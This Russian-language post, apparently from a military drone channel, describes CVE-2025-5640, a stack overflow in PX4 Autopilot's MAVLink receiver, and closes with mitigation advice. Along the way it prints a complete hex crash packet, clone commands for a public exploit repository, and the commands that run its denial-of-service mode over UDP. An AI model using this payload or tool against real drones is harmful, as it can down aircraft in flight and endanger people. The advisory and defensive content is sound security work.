CVE-2025-5640: "один пакет - минус дрон"
https://github.com/PX4/PX4-Autopilot/issues/24915
PX4 Autopilot до v1.12.3 содержит критичное переполнение стека при разборе MAVLink-сообщения TRAJECTORY_REPRESENTATION_WAYPOINTS (Msg ID 332). Достаточно одной сформированной датаграммы, чтобы процесс mavlink_receiver упал, а птичка перешла в фэйлсейв или полностью потеряла управление

Что именно ломается
- Файл: src/modules/mavlink/mavlink_receiver.cpp
- Функция:  handle_message_trajectory_representation_waypoints(). 
    Буфер для waypoints лежит на стеке и меньше максимального размера сообщения; лишние байты переписывают соседнюю память - ядро гасит поток по SIGABRT

Как повторить атаку
1. Запустить PX4 SITL (jMAVSim).
2. Отправить “длинный” пакет - пример hex уже приведён в issue:
fdef0000dcea6f4c01006de9d06a0548182a1fcc8b7cc542eb8945a54baa92ee908db9af0195bb5dce5f9ab613be912485d34e577c352c5cdc06592484be1aecd64a07127bda31fc8f41f300a9e4a0eab80d8835f106924f0b89ece3e256dda30e3001f07df4e1633e6f827b7812731dbc3daf1e81fc06cea4d9c8c1525fb955d3eddd7454b54bb740bcd87b00063bd9111d4fb4149658d4ccd92974c97c7158189a8d6354242bdfcef1427429d762cbabe7d3bd9ad7b292fd206fecbc6bd8dee4422f129bb72794905979f8b369b415bacac087b028626846093354bca7cdf5b3aeca117b2f906e83e1fde3e5421fe6b689cd4f9359cdadc82086
3. Через пару секунд симулятор падает, что в боевых условиях означает потерю птички

Готовый инструмент.
https://github.com/mbanyamer/PX4-Military-UAV-Autopilot-1.12.3-Stack-Buffer-Overflow-Exploit-CVE-2025-5640-
Загрузим репозиторий и установим pymavlink для запуска скрипта.

$ git clone https://github.com/mbanyamer/PX4-Military-UAV-Autopilot-1.12.3-Stack-Buffer-Overflow-Exploit-CVE-2025-5640- PX4_CVE-2025-5640
$ cd PX4_CVE-2025-5640
$ pip install pymavlink

PoC на питоне рассылает пакет по UDP 14540/14550:

python3 px4_military_exploit.py --mode dos

Есть режим “check” для проверки живости птички(соединения)

python3 px4_military_exploit.py --mode check --ip 192.168.10.10 --port 14550

Боевой эффект
- Для наших расчётов птичек: риск потерять разведывательный или ударный борт в момент выхода на цель.
- Для противника:дешёвый DoS без мощной РЭБ - достаточно маломощного SDR, попадающего в тот же диапазон связи.
   
VPN снижает, но не убирает угрозу. При глушении LTE/Starlink туннель рвётся и MAVLink идёт "чистым". Кроме того, RF-injection в 915 МГц или 2.4 ГГц происходит до TCP/IP-уровня, а значит пакет-убийца долетит, если сигнатура не фильтруется на радиомодеме


Чем закрываться
1. Обновиться. Хотел тут отметить, что версия 1.12.3(https://github.com/PX4/PX4-Autopilot/releases/tag/v1.12.3) вышла еще в сентябре 2021, было бы странно увидеть у себя её, однако от схожих проблем советую рекомендации ниже
2. Можно собрать с ASAN (make px4_sitl_default clang_asan) - ловит подобные баги до вылета в бою.
3. Включить MAVLink 2 + signing (MAV_0_SIGNING=1) - неподписанные пакеты будут отброшены.
4. Фильтрация Msg 332 и схожих на прокси (MAVProxy/Router) или в коде
5. Закрыть порты телеметрии за файрволом, отделять трафик в отдельный VLAN/меш, отслеживать обрывы впн.
6. Настройка фэйлсейф на "RTL -> Land" вместо зависания: падение процесса не должно превращать аппарат в стационарную мишень.

При просмотре mavlink_receiver.cpp в свежих версиях, там не оказалось обработки сообщения с идентификатором MAVLINK_MSG_ID_TRAJECTORY_REPRESENTATION_WAYPOINTS (332) и не включает уязвимую функцию handle_message_trajectory_representation_waypoints

Вместо заключения: CVE-2025-5640 показывает, что иногда легче “выстрелить” пакетом, чем жечь ваттами помех.

Joystick - Mission planner - mavlink - udp/IP network - FBI - crsf - elrs tx - rx - FC betaflight
P.S Подглядели у противника